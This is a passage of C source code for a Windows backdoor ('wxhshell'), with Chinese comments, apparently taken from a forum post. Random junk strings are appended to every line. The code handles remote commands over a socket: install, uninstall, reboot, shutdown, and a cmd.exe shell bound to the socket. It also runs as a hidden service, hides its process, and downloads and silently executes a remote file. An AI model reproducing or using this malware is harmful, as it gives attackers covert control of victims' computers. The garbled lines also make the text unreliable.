fLN!EDq  
    switch(cmd[0]) { ~>G]_H]?  
  mOll5O7VW  
  // 帮助 P#kGX(G9!  
  case '?': { ?{o/I\\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i< (s}wg  
    break; KYJ1}5n  
  } K5 3MMH[q#  
  // 安装 Gtv,Izt  
  case 'i': { u%|zc=  
    if(Install()) Hyk'c't_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQTnhiM7$  
    else E ?2O(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OL59e %X  
    break; @z6!a  
    } U3;aLQ*  
  // 卸载 # jYpVc{]  
  case 'r': { p?(L'q"WK  
    if(Uninstall()) 1.@vS&Y7OE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $KV&\Q3\0  
    else 9V1cdb~?"T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\/ =M*  
    break; XY7Qa!>7j  
    } 4FeEGySow  
  // 显示 wxhshell 所在路径 KHiFJ_3  
  case 'p': { LDT(]HJ  
    char svExeFile[MAX_PATH]; jX=lAs~6  
    strcpy(svExeFile,"\n\r"); UyYfpL"$A"  
      strcat(svExeFile,ExeFile); huFz97?y(  
        send(wsh,svExeFile,strlen(svExeFile),0); e]+OO g&  
    break; =?}twC$  
    } m/&i9A  
  // 重启 0V,Nv9!S  
  case 'b': { :bM+&EP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'aJgLws*w  
    if(Boot(REBOOT)) wjU.W5IR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BWPP5X9  
    else { d<p2/aA  
    closesocket(wsh); AG"l1wz  
    ExitThread(0);  {E9v`u\  
    } BW[5o3 i  
    break; ;#?M)o:q  
    } O>r-]0DI[  
  // 关机 f*((;*n ;  
  case 'd': { uq7T{7~<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZwI 1* f  
    if(Boot(SHUTDOWN)) ;|ub!z9GG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s PYX~G&T  
    else { d{+(Lpj^  
    closesocket(wsh); R zR?&J  
    ExitThread(0); }F1s tDx  
    } >mu)/kl  
    break; O??vm?eo  
    } J}g~uW  
  // 获取shell R|,7d:k  
  case 's': { g#^|oYuH6  
    CmdShell(wsh); '8`T|2   
    closesocket(wsh); % +Pl+`? E  
    ExitThread(0); 'UwI*EW2S  
    break; c,5n, i  
  } `"y`AY/N  
  // 退出 CDg AGy  
  case 'x': { 8:;#,Urr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mMw;0/n  
    CloseIt(wsh); v#w_eqg  
    break; W^g'}}]T  
    } R"xp%:li  
  // 离开 L ^Y3=1#"g  
  case 'q': { 2wpjU&8W!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ub)I66  
    closesocket(wsh); s${_K*g6  
    WSACleanup(); iLq#\8t^  
    exit(1); d+2daKi  
    break; P;91~``b-  
        } 1$LIpx  
  } tm)*2lH6  
  } aO1IVESr$  
?X_V#8JK  
  // 提示信息 L'kq>1QWf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3{J.xWB@:  
} a8uYs DS  
  } WYIw5 jzC  
,+L KJl  
  return; IsYP0(L  
} g'lT  
*Zkss   
// shell模块句柄 ia{kab|_5  
int CmdShell(SOCKET sock) 2R@%Y/  
{ A3UQJ  
STARTUPINFO si; v[#)GB _5  
ZeroMemory(&si,sizeof(si)); w=J4zkWk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !oMt_k X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M []OHw  
PROCESS_INFORMATION ProcessInfo; xPQL?.  
char cmdline[]="cmd"; HhSjR%6HY;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = HE m)  
  return 0; &4kM8Qh  
} k/`i6%F#m  
TlPVHJyt  
// 自身启动模式 1r4,XSk  
int StartFromService(void) 1j3=o }m  
{ h5onRa *7  
typedef struct B=zMYi  
{ Npa-$N&P{S  
  DWORD ExitStatus; LM1b I4  
  DWORD PebBaseAddress; :R+],m il  
  DWORD AffinityMask; a-PGW2G  
  DWORD BasePriority; rx:lKoOnB  
  ULONG UniqueProcessId; :XS"# ^aJ  
  ULONG InheritedFromUniqueProcessId; 9*pG?3*I  
}   PROCESS_BASIC_INFORMATION; 4 X`^{~  
a$+#V=bA  
PROCNTQSIP NtQueryInformationProcess; 8~5|KO >F  
5-'vB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <o@)SD~K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i$O#%12l  
878tI3-  
  HANDLE             hProcess; Kym:J \}9B  
  PROCESS_BASIC_INFORMATION pbi; M {xie  
)73DT3-0$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Rs?CVVb  
  if(NULL == hInst ) return 0; 7Po/_%  
N1? iiv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AQ}l%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l<RfRqjw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kPJ~X0Fr{t  
`u=<c  
  if (!NtQueryInformationProcess) return 0; d| \#?W&  
`@$YlFOW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dofR)"<p,^  
  if(!hProcess) return 0; E& ]_U$  
>4'21,q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; liG~y|  
=g2\CIlVU6  
  CloseHandle(hProcess); Mcb<[~m  
w4}(Ab<Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~~dfpW_"  
if(hProcess==NULL) return 0; bX{PSjD  
'%O\E{h  
HMODULE hMod; N7B}O*;  
char procName[255]; t^$Div_%G  
unsigned long cbNeeded; ,CW%JIM  
[N R1d-Wg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WFdem/\kX  
4H9xO[iM  
  CloseHandle(hProcess); Ap,q `S  
^z?=?%{  
if(strstr(procName,"services")) return 1; // 以服务启动 !L$oAqW  
p,^>*/O>  
  return 0; // 注册表启动 nK:`e9ES  
} 7eH@n <]Y2  
8)`5P\  
// 主模块 I)uASfT$  
int StartWxhshell(LPSTR lpCmdLine) B#4S/d{/  
{ faJ8zX  
  SOCKET wsl; cFxSDTR  
BOOL val=TRUE; %>]#vQ|  
  int port=0; )XZ,bz*jn  
  struct sockaddr_in door; c=<v.J@K  
OAyE/Q|  
  if(wscfg.ws_autoins) Install(); {r X5  
>,w P! ;dh  
port=atoi(lpCmdLine); +{bh  
Ot"(uW4$[  
if(port<=0) port=wscfg.ws_port; .=aMjrME  
Xa6qvg7/  
  WSADATA data; 2X +7b M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "p2u+ 8?  
l?N`V2SuR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^f"&}%"M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z~B+*HF  
  door.sin_family = AF_INET; 'jwTGT5x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )%1&/uN)  
  door.sin_port = htons(port); dR?5$V(  
"URVX1#(r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .y(@Y6hO  
closesocket(wsl); 6UtG-WHHt  
return 1; 8^NE=)cb7w  
} LDSbd,GF  
lHRK'? Q  
  if(listen(wsl,2) == INVALID_SOCKET) { ,7/\&X<`B  
closesocket(wsl); @u7%B}q7:  
return 1; p@`4 Qz  
} 34^Q5B~^J  
  Wxhshell(wsl); gB'`I(q5.  
  WSACleanup(); |O'Hh7  
sV;qpDXX  
return 0; HKT{IP+7(L  
)z|_*||WU^  
} LIc*tsl  
F\l!A'Q+t  
// 以NT服务方式启动 ROcY'-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :K5V/-[|V1  
{ FxMMxY,*%  
DWORD   status = 0; -1dIZy  
  DWORD   specificError = 0xfffffff; aj+zmk~-  
puk4D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LjX&' ,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; </~1p~=hAt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &7JEb]1C  
  serviceStatus.dwWin32ExitCode     = 0; ~p0 e=u  
  serviceStatus.dwServiceSpecificExitCode = 0; :Fq2x_IUE  
  serviceStatus.dwCheckPoint       = 0; :^C#-O  
  serviceStatus.dwWaitHint       = 0; PP~CZ2Fze  
 U5T^S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (p}9^Y  
  if (hServiceStatusHandle==0) return; F\I5fNs@  
<;.}WQC  
status = GetLastError(); 1 / F<T  
  if (status!=NO_ERROR) :ga 9Db9P  
{ BNF++<s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #p;4:IT  
    serviceStatus.dwCheckPoint       = 0; >I R` ]  
    serviceStatus.dwWaitHint       = 0; 8kKRx   
    serviceStatus.dwWin32ExitCode     = status; 0f EZD$  
    serviceStatus.dwServiceSpecificExitCode = specificError; /6?tgr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C8O7i[uc  
    return; Z%(Df3~gmm  
  } k|)^!BdO  
&^"s=g.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jKe$&.q@  
  serviceStatus.dwCheckPoint       = 0; ?^F*"+qI  
  serviceStatus.dwWaitHint       = 0; f[w jur  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w;g)Iy6x  
} O p!  
-sruxF  
// 处理NT服务事件,比如:启动、停止 Uj y6vgU;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _CYmG"mY  
{ exGhkt~  
switch(fdwControl) je$R\7B<  
{ il 8A&`%  
case SERVICE_CONTROL_STOP: P W0q71  
  serviceStatus.dwWin32ExitCode = 0; |sDG>Zq?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Vu}k K)  
  serviceStatus.dwCheckPoint   = 0; yAZ.L/jyr  
  serviceStatus.dwWaitHint     = 0; 0Te)s3X  
  { x(T!I&i={  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?ZD{e|:u  
  } 1VPfa  
  return; h[M6.  
case SERVICE_CONTROL_PAUSE: &z 1|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MC[ `<W)u  
  break; k1@  A'n  
case SERVICE_CONTROL_CONTINUE: xP|%rl4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z:r$;`K/  
  break; oqQ?2k<@  
case SERVICE_CONTROL_INTERROGATE: ]y$V/Ij=qK  
  break; !nqm ;96  
}; 8=u+BDG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fS'k;r*r  
} ~ Iu21Q(*  
?3KR(6D  
// 标准应用程序主函数 Z n"TG/:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T5X'D(\|  
{ 2!"\;/  
519:yt   
// 获取操作系统版本 8{U]ATx'(  
OsIsNt=GetOsVer(); SFXfo1dqH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~L Bq5a  
f"OA Zji  
  // 从命令行安装 HnYFE@Nl:U  
  if(strpbrk(lpCmdLine,"iI")) Install(); AU${0#WV_  
{O3oUE+  
  // 下载执行文件 8M(|{~~3:  
if(wscfg.ws_downexe) { OL6xMToP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #xJGuYdv  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,EGD8$RA]  
} UVQa af  
+ X|m>9  
if(!OsIsNt) { GhfUCW%  
// 如果时win9x,隐藏进程并且设置为注册表启动 S &lTKYP  
HideProc(); dOYmt,  
StartWxhshell(lpCmdLine);  el*pYI  
} _|5FrN  
else Jr*S2 z<*  
  if(StartFromService()) Z2pN<S{5  
  // 以服务方式启动 Rs( CrB/M  
  StartServiceCtrlDispatcher(DispatchTable); { "@b`  
else ;Kd{h  
  // 普通方式启动 V?L$ ys  
  StartWxhshell(lpCmdLine); 6XxG1]84  
U!-+v:SF  
return 0; c#4L*$ViF  
}
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只看该作者 1 发表于: 2006-10-10
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